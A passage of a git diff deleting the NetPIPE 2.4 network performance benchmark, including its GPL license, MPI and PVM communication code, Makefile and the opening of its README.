-    char     *host;         /* Name of receiving host                        */
-    char     *server_host;  /* Name of sending host                          */
-    int      servicefd,     /* File descriptor of the network socket         */
-             commfd;        /* Communication file descriptor                 */
-    short    port;          /* Port used for connection                      */
-    char     *buff;         /* Transmitted buffer                            */
-    char     *buff1;        /* Transmitted buffer                            */
-    int      bufflen,       /* Length of transmitted buffer                  */
-             tr,            /* Transmit flag                                 */
-             sr,            /* Server flag                                   */
-             nbuff;         /* Number of buffers to transmit                 */
-
-    /* Now we work with a union of information for protocol dependent stuff  */
-    ProtocolStruct prot;    /* Structure holding necessary info for TCP      */
-};
-
-typedef struct data Data;
-struct data
-{
-    double t;
-    double bps;
-    double variance;
-    int    bits;
-    int    repeat;
-};
-
-double When();
-
-int Setup(ArgStruct *p);
-
-void Sync(ArgStruct *p);
-
-void PrepareToReceive(ArgStruct *p);
-
-void SendData(ArgStruct *p);
-
-void RecvData(ArgStruct *p);
-
-void SendTime(ArgStruct *p, double *t);
-
-void RecvTime(ArgStruct *p, double *t);
-
-void SendRepeat(ArgStruct *p, int rpt);
-
-void RecvRepeat(ArgStruct *p, int *rpt);
-
-int Establish(ArgStruct *p);
-
-int  CleanUp(ArgStruct *p);
diff --git a/tools/netpipe-2.4/COPYING b/tools/netpipe-2.4/COPYING
deleted file mode 100644
index 38d7536..0000000
--- a/tools/netpipe-2.4/COPYING
+++ /dev/null
@@ -1,339 +0,0 @@
-		    GNU GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-                          51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.)  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
-
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software.  If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary.  To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-		    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License.  The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language.  (Hereinafter, translation is included without limitation in
-the term "modification".)  Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
-  2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) You must cause the modified files to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in
-    whole or in part contains or is derived from the Program or any
-    part thereof, to be licensed as a whole at no charge to all third
-    parties under the terms of this License.
-
-    c) If the modified program normally reads commands interactively
-    when run, you must cause it, when started running for such
-    interactive use in the most ordinary way, to print or display an
-    announcement including an appropriate copyright notice and a
-    notice that there is no warranty (or else, saying that you provide
-    a warranty) and that users may redistribute the program under
-    these conditions, and telling the user how to view a copy of this
-    License.  (Exception: if the Program itself is interactive but
-    does not normally print such an announcement, your work based on
-    the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable
-    source code, which must be distributed under the terms of Sections
-    1 and 2 above on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three
-    years, to give any third party, for a charge no more than your
-    cost of physically performing source distribution, a complete
-    machine-readable copy of the corresponding source code, to be
-    distributed under the terms of Sections 1 and 2 above on a medium
-    customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer
-    to distribute corresponding source code.  (This alternative is
-    allowed only for noncommercial distribution and only if you
-    received the program in object code or executable form with such
-    an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it.  For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable.  However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Program or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
-  7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission.  For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this.  Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-			    NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-	    How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) 19yy  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) 19yy name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General
-Public License instead of this License.
diff --git a/tools/netpipe-2.4/MPI.c b/tools/netpipe-2.4/MPI.c
deleted file mode 100644
index 75b6286..0000000
--- a/tools/netpipe-2.4/MPI.c
+++ /dev/null
@@ -1,143 +0,0 @@
-/*****************************************************************************/
-/* "NetPIPE" -- Network Protocol Independent Performance Evaluator.          */
-/* Copyright 1997, 1998 Iowa State University Research Foundation, Inc.      */
-/*                                                                           */
-/* This program is free software; you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by      */
-/* the Free Software Foundation.  You should have received a copy of the     */
-/* GNU General Public License along with this program; if not, write to the  */
-/* Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.   */
-/*                                                                           */
-/*     * MPI.c              ---- MPI calls source                            */
-/*****************************************************************************/
-#include    "netpipe.h"
-#include    <mpi.h>
-
-#ifdef BSEND
-char *messbuff;
-#define MAXBUFSIZE (10*1024*1024)
-#endif
-
-int Setup(ArgStruct * p)
-{
-	int nproc;
-
-	MPI_Comm_rank(MPI_COMM_WORLD, &p->prot.iproc);
-	MPI_Comm_size(MPI_COMM_WORLD, &nproc);
-	{
-		char s[255];
-		gethostname(s, 253);
-		printf("%d: %s\n", p->prot.iproc, s);
-		fflush(stdout);
-	}
-	p->prot.nbor = !p->prot.iproc;
-
-	if (nproc != 2) {
-		printf("Need two processes\n");
-		exit(-2);
-	}
-
-	if (p->prot.iproc == 0)
-		p->tr = 1;
-	else
-		p->tr = 0;
-
-#ifdef BSEND
-	messbuff = (char *)malloc(MAXBUFSIZE * sizeof(char));
-	if (messbuff == NULL) {
-		printf("Can't allocate for message buffer\n");
-		exit(-1);
-	}
-	MPI_Buffer_attach(messbuff, MAXBUFSIZE);
-#endif
-
-}
-
-void Sync(ArgStruct * p)
-{
-	MPI_Barrier(MPI_COMM_WORLD);
-}
-
-static int recvPosted = 0;
-static MPI_Request recvRequest;
-
-void PrepareToReceive(ArgStruct * p)
-{
-	/*
-	   Providing a buffer for reception of data in advance of
-	   the sender sending the data provides a major performance
-	   boost on some implementations of MPI, particularly shared
-	   memory implementations on the Cray T3E and Intel Paragon.
-	 */
-	if (recvPosted) {
-		printf("Can't prepare to receive: outstanding receive!\n");
-		exit(-1);
-	}
-	MPI_Irecv(p->buff, p->bufflen, MPI_BYTE,
-		  p->prot.nbor, 1, MPI_COMM_WORLD, &recvRequest);
-	recvPosted = -1;
-}
-
-void SendData(ArgStruct * p)
-{
-#ifdef BSEND
-	MPI_Bsend(p->buff, p->bufflen, MPI_BYTE, p->prot.nbor, 1,
-		  MPI_COMM_WORLD);
-#else
-	MPI_Send(p->buff, p->bufflen, MPI_BYTE, p->prot.nbor, 1,
-		 MPI_COMM_WORLD);
-#endif
-}
-
-void RecvData(ArgStruct * p)
-{
-	MPI_Status status;
-	if (recvPosted) {
-		MPI_Wait(&recvRequest, &status);
-		recvPosted = 0;
-	} else {
-		MPI_Recv(p->buff, p->bufflen, MPI_BYTE,
-			 p->prot.nbor, 1, MPI_COMM_WORLD, &status);
-	}
-}
-
-void SendTime(ArgStruct * p, double *t)
-{
-#ifdef BSEND
-	MPI_Bsend(t, 1, MPI_DOUBLE, p->prot.nbor, 2, MPI_COMM_WORLD);
-#else
-	MPI_Send(t, 1, MPI_DOUBLE, p->prot.nbor, 2, MPI_COMM_WORLD);
-#endif
-}
-
-void RecvTime(ArgStruct * p, double *t)
-{
-	MPI_Status status;
-
-	MPI_Recv(t, 1, MPI_DOUBLE, p->prot.nbor, 2, MPI_COMM_WORLD, &status);
-}
-
-void SendRepeat(ArgStruct * p, int rpt)
-{
-#ifdef BSEND
-	MPI_Bsend(&rpt, 1, MPI_INT, p->prot.nbor, 2, MPI_COMM_WORLD);
-#else
-	MPI_Send(&rpt, 1, MPI_INT, p->prot.nbor, 2, MPI_COMM_WORLD);
-#endif
-}
-
-void RecvRepeat(ArgStruct * p, int *rpt)
-{
-	MPI_Status status;
-
-	MPI_Recv(rpt, 1, MPI_INT, p->prot.nbor, 2, MPI_COMM_WORLD, &status);
-}
-
-int Establish(ArgStruct * p)
-{
-}
-
-int CleanUp(ArgStruct * p)
-{
-	MPI_Finalize();
-}
diff --git a/tools/netpipe-2.4/MPI.h b/tools/netpipe-2.4/MPI.h
deleted file mode 100644
index 85854ef..0000000
--- a/tools/netpipe-2.4/MPI.h
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
-  Define the protocol structure to be used by NetPIPE for MPI.
-  */
-
-typedef struct protocolstruct ProtocolStruct;
-struct protocolstruct
-{
-	int nbor, iproc;
-};
-
diff --git a/tools/netpipe-2.4/Makefile b/tools/netpipe-2.4/Makefile
deleted file mode 100644
index 6e49691..0000000
--- a/tools/netpipe-2.4/Makefile
+++ /dev/null
@@ -1,73 +0,0 @@
-#
-# Makefile for NetPIPE
-#
-
-# Default C compiler: must be an ANSI C compiler
-#CC         = cc
-# File names for the main source files
-DRIV_SRC   = netpipe.c
-DRIV_OBJ   = netpipe.o
-INCLUDES   = netpipe.h
-# Default target is just TCP
-TARGETS    = NPtcp
-# If you have TCP, MPI and PVM
-#TARGETS    = NPtcp NPmpi NPpvm
-CFLAGS		    += -O -Wall
-# Adjust these for MPI (only used if you have MPI)
-MPI_HOME   = /home/mpich
-MPI_ARCH   = IRIX
-MPI_DEVICE = ch_p4
-# Adjust these for PVM (only used if you have PVM)
-PVM_HOME   = /home/pvm3
-PVM_ARCH   = SUN4SOL2
-# Any extra libraries needed
-EXTRA_LIBS = $(LDFLAGS)
-#EXTRA_LIBS = -lgcc
-
-all:	$(TARGETS)
-
-install:
-	@/bin/chmod 755 netpipe.sh
-	@ln -f $(TARGETS) netpipe.sh ../../testcases/bin/
-#
-# This section of the Makefile is for compiling the binaries
-#
-
-TCP:	NPtcp
-	@echo 'NPtcp has been built.'
-
-NPtcp:	NPtcp.o TCP.o
-	$(CC) $(CFLAGS) NPtcp.o TCP.o  -o NPtcp $(EXTRA_LIBS)
-
-NPtcp.o:	$(DRIV_SRC) $(INCLUDES)
-	$(CC) $(CFLAGS) -DTCP -c -o NPtcp.o $(DRIV_SRC)
-
-TCP.o:	TCP.c TCP.h $(INCLUDES)
-	$(CC) $(CFLAGS) -DTCP -c TCP.c
-
-MPI:	NPmpi
-	@echo 'NPmpi has been built.'
-
-NPmpi:	NPmpi.o MPI.o
-	$(CC) $(CFLAGS) NPmpi.o MPI.o -o NPmpi  -L $(MPI_HOME)/lib/$(MPI_ARCH)/$(MPI_DEVICE) -lmpi $(EXTRA_LIBS)
-
-NPmpi.o:	$(DRIV_SRC) $(INCLUDES)
-	$(CC) $(CFLAGS) -DMPI -I$(MPI_HOME)/include -c -o NPmpi.o $(DRIV_SRC)
-
-MPI.o:	MPI.c MPI.h $(INCLUDES)
-	$(CC) $(CFLAGS) -DMPI -I$(MPI_HOME)/include -c MPI.c
-
-PVM:	NPpvm
-	@echo 'NPpvm has been built.'
-
-NPpvm:	NPpvm.o PVM.o
-	$(CC) $(CFLAGS) NPpvm.o PVM.o -o NPpvm  -L$(PVM_HOME)/lib/$(PVM_ARCH)/ -lpvm3 $(EXTRA_LIBS)
-
-NPpvm.o:	$(DRIV_SRC) $(INCLUDES)
-	$(CC) $(CFLAGS) -DPVM -I$(PVM_HOME)/include -c -o NPpvm.o $(DRIV_SRC)
-
-PVM.o:	PVM.c PVM.h $(INCLUDES)
-	$(CC) $(CFLAGS) -DPVM -I$(PVM_HOME)/include -c PVM.c
-
-clean:
-	rm -f $(TARGETS) *.o core a.out
diff --git a/tools/netpipe-2.4/PVM.c b/tools/netpipe-2.4/PVM.c
deleted file mode 100644
index 3ac561e..0000000
--- a/tools/netpipe-2.4/PVM.c
+++ /dev/null
@@ -1,192 +0,0 @@
-/*****************************************************************************/
-/* "NetPIPE" -- Network Protocol Independent Performance Evaluator.          */
-/* Copyright 1997, 1998 Iowa State University Research Foundation, Inc.      */
-/*                                                                           */
-/* This program is free software; you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by      */
-/* the Free Software Foundation.  You should have received a copy of the     */
-/* GNU General Public License along with this program; if not, write to the  */
-/* Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.   */
-/*                                                                           */
-/*     * PVM.c              ---- PVM calls source                            */
-/*****************************************************************************/
-#include    "netpipe.h"
-#include    <pvm3.h>
-
-/**********************************************************************/
-/* Set up the communcations system.                                   */
-/*    In pvm, this means to join the parallel machine                 */
-/**********************************************************************/
-int Setup(ArgStruct * p)
-{
-	p->prot.mytid = pvm_mytid();
-#ifdef DEBUG
-	printf("My task id is %d \n", p->prot.mytid);
-#endif
-}
-
-/**********************************************************************/
-/* Establish a link with the other processor                          */
-/*    In pvm, this means to send a simple message, but to keep the    */
-/*    communication line open.  Since the assumption is that we are   */
-/*    starting it by hand on the other machine, we don't know what    */
-/*    the other task id is.                                           */
-/**********************************************************************/
-int Establish(ArgStruct * p)
-{
-	/* Task information for the entire parallel machine (if trans) */
-	int tasks_status;
-	struct pvmtaskinfo *taskp;
-	int ntasks;
-
-	/* Received buffer (if receiver)  */
-	int buffer_id;
-
-	/*
-	   If we are the transmitting side, go find the other one and send
-	   it a message containing our tid. If we are the receiving side,
-	   just wait for a message.
-	 */
-	if (p->tr) {
-#ifdef DEBUG
-		printf("this is the transmitter\n");
-#endif
-		tasks_status = pvm_tasks(0, &ntasks, &taskp);
-		if (ntasks != 2) {
-			printf
-			    ("Error, too many processes in parallel machine \n");
-			printf("Start a clean machine.  n=%d\n", ntasks);
-			exit(-1);
-		}
-
-		/* Since there are two tasks, one is ours the other is the receiver */
-		p->prot.othertid = -1;
-		if (taskp[0].ti_tid == p->prot.mytid) {
-			p->prot.othertid = taskp[1].ti_tid;
-		}
-		if (taskp[1].ti_tid == p->prot.mytid) {
-			p->prot.othertid = taskp[0].ti_tid;
-		}
-		if (p->prot.othertid == -1) {
-			printf("Error, cannot find other (receiving) task \n");
-			printf("Id's:  %d %d  \n", taskp[0].ti_tid,
-			       taskp[1].ti_tid);
-		}
-
-		/* Send the receiver a message.  Tell pvm to keep the channel open */
-
-#ifdef DEBUG
-		printf("The receiver tid is %d \n", p->prot.othertid);
-#endif
-		pvm_setopt(PvmRoute, PvmRouteDirect);
-		pvm_initsend(PVMDATA);
-		pvm_pkint(&p->prot.mytid, 1, 1);
-		pvm_send(p->prot.othertid, 1);
-	} else {
-#ifdef DEBUG
-		printf("This is the receiver \n");
-#endif
-
-		/* Receive any message from any task */
-		buffer_id = pvm_recv(-1, -1);
-
-		if (buffer_id < 0) {
-			printf("Error on receive in receiver\n");
-			exit(-1);
-		}
-		pvm_upkint(&p->prot.othertid, 1, 1);
-	}
-}
-
-/**********************************************************************/
-/* Prepare to receive                                                 */
-/*    In pvm, you cannot set up a reception buffer ahead of time      */
-/**********************************************************************/
-void PrepareToReceive(ArgStruct * p)
-{
-}
-
-/**********************************************************************/
-/* Synchronize                                                        */
-/*     In pvm, this is not necessary                                  */
-/**********************************************************************/
-void Sync(ArgStruct * p)
-{
-}
-
-/**********************************************************************/
-/* Send a buffer full of information                                  */
-/*    In pvm, we use pvm_pkbyte and then send it.                     */
-/**********************************************************************/
-void SendData(ArgStruct * p)
-{
-#ifdef DEBUG
-	printf(" In send \n");
-#endif
-	pvm_initsend(PVMDATA);
-	pvm_pkbyte(p->buff, p->bufflen, 1);
-	pvm_send(p->prot.othertid, 1);
-#ifdef DEBUG
-	printf(" message sent.  Size=%d\n", p->bufflen);
-#endif
-}
-
-/**********************************************************************/
-/* Receive a buffer full of information                               */
-/**********************************************************************/
-void RecvData(ArgStruct * p)
-{
-#ifdef DEBUG
-	printf(" In receive \n");
-#endif
-	pvm_recv(-1, -1);
-	pvm_upkbyte(p->buff, p->bufflen, 1);
-#ifdef DEBUG
-	printf(" message received .  Size=%d \n", p->bufflen);
-#endif
-}
-
-/**********************************************************************/
-/* Send elapsed time to the other process                             */
-/**********************************************************************/
-void SendTime(ArgStruct * p, double *t)
-{
-	pvm_initsend(PVMDATA);
-	pvm_pkdouble(t, 1, 1);
-	pvm_send(p->prot.othertid, 1);
-}
-
-/**********************************************************************/
-/* Receive elapsed time from the other process                        */
-/**********************************************************************/
-void RecvTime(ArgStruct * p, double *t)
-{
-	pvm_recv(-1, -1);
-	pvm_upkdouble(t, 1, 1);
-}
-
-/**********************************************************************/
-/* Send repeat count to the other process                             */
-/**********************************************************************/
-void SendRepeat(ArgStruct * p, int rpt)
-{
-	pvm_initsend(PVMDATA);
-	pvm_pkint(&rpt, 1, 1);
-	pvm_send(p->prot.othertid, 1);
-}
-
-/**********************************************************************/
-/* Receiver repeat count from other process                           */
-/**********************************************************************/
-void RecvRepeat(ArgStruct * p, int *rpt)
-{
-	pvm_recv(-1, -1);
-	pvm_upkint(rpt, 1, 1);
-}
-
-/**********************************************************************/
-/* Close down the connection.
-/**********************************************************************/
-int CleanUp(ArgStruct * p)
-{
-}
diff --git a/tools/netpipe-2.4/PVM.h b/tools/netpipe-2.4/PVM.h
deleted file mode 100644
index 0e2debc..0000000
--- a/tools/netpipe-2.4/PVM.h
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
-  Define the protocol structure to be used by NetPIPE for PVM.
-  */
-
-typedef struct protocolstruct ProtocolStruct;
-
-struct protocolstruct
-{
-    /* Keep track of our task id */
-    int     mytid;
-
-    /* Keep track of the other's task id */
-    int     othertid;
-};
-
-
-/*
-  Undefine one of the following to determine the type of data
-  encoding for the PVM message passing.
-
-  DataDefault means that PVM uses XDR encoding which ensures that
-  the data can be packed / unpacked across non-homogeneous machines.
-
-  If you know that the machines are the same, then you can use DataRaw
-  and save some time.
-
-  DataInPlace means that the data is not copied at pack time, but is
-  copied directly from memory at send time.
-  */
-
-#define PVMDATA     PvmDataDefault
-/* #define PVMDATA     PvmDataRaw */
-/* #define PVMDATA     PvmDataInPlace */
diff --git a/tools/netpipe-2.4/README b/tools/netpipe-2.4/README
deleted file mode 100644
index 7c0309c..0000000
--- a/tools/netpipe-2.4/README
+++ /dev/null
@@ -1,263 +0,0 @@
-NetPIPE Network Protocol Independent Performance Evaluator, Release 2.4
-Copyright 1997, 1998, 1999 Iowa State University Research Foundation, Inc.
-
-$Id: README,v 1.1 2003/02/05 15:44:54 robbiew Exp $
-
-This program is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation.  You should have received a copy of the
-GNU General Public License along with this program; if not, write to the
-Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-
-The URL for this document:
-
-ftp://ftp.scl.ameslab.gov/pub/netpipe/README
-
-Getting NetPIPE
----------------
-
-The NetPIPE implementation in C can be found at:
-
-ftp://ftp.scl.ameslab.gov/pub/netpipe/netpipe-2.4.tar.gz
-
-The source code for NetPIPE 2.4 is provided as a gzipped tar archive,
-which can be uncompressed with "gunzip netpipe-2.4.tar.gz" (or "gzip
--d netpipe-2.4.tar.gz"), and then extracted from the uncompressed
-archive with the command "tar xvf netpipe-2.4.tar".  If you do not
-have the gzip program, it can be obtained as:
-
-ftp://prep.ai.mit.edu/pub/gnu/gzip-1.2.4.tar
-
-Similarly, the NetPIPE implementation in Java can be found at:
-
-ftp://ftp.scl.ameslab.gov/pub/netpipe-Java-1.0.tar.gz
-
-The instructions that follow apply to the C implementation of
-NetPIPE.
-
-What is NetPIPE?
-----------------
-
-NetPIPE is a protocol independent performance tool that encapsulates
-the best of ttcp and netperf and visually represents the network
-performance under a variety of conditions. By taking the end-to-end
-application view of a network, NetPIPE clearly shows the overhead
-associated with different protocol layers. Netpipe answers such
-questions as: how soon will a given data block of size k arrive at its
-destination? Which network and protocol will transmit size k blocks
-the fastest? What is a given network's effective maximum throughput
-and saturation level?  Does there exist a block size k for which the
-throughput is maximized? How much communication overhead is due to the
-network communication protocol layer(s)? How quickly will a small (< 1
-kbyte) control message arrive, and which network and protocol are best
-for this purpose?
-
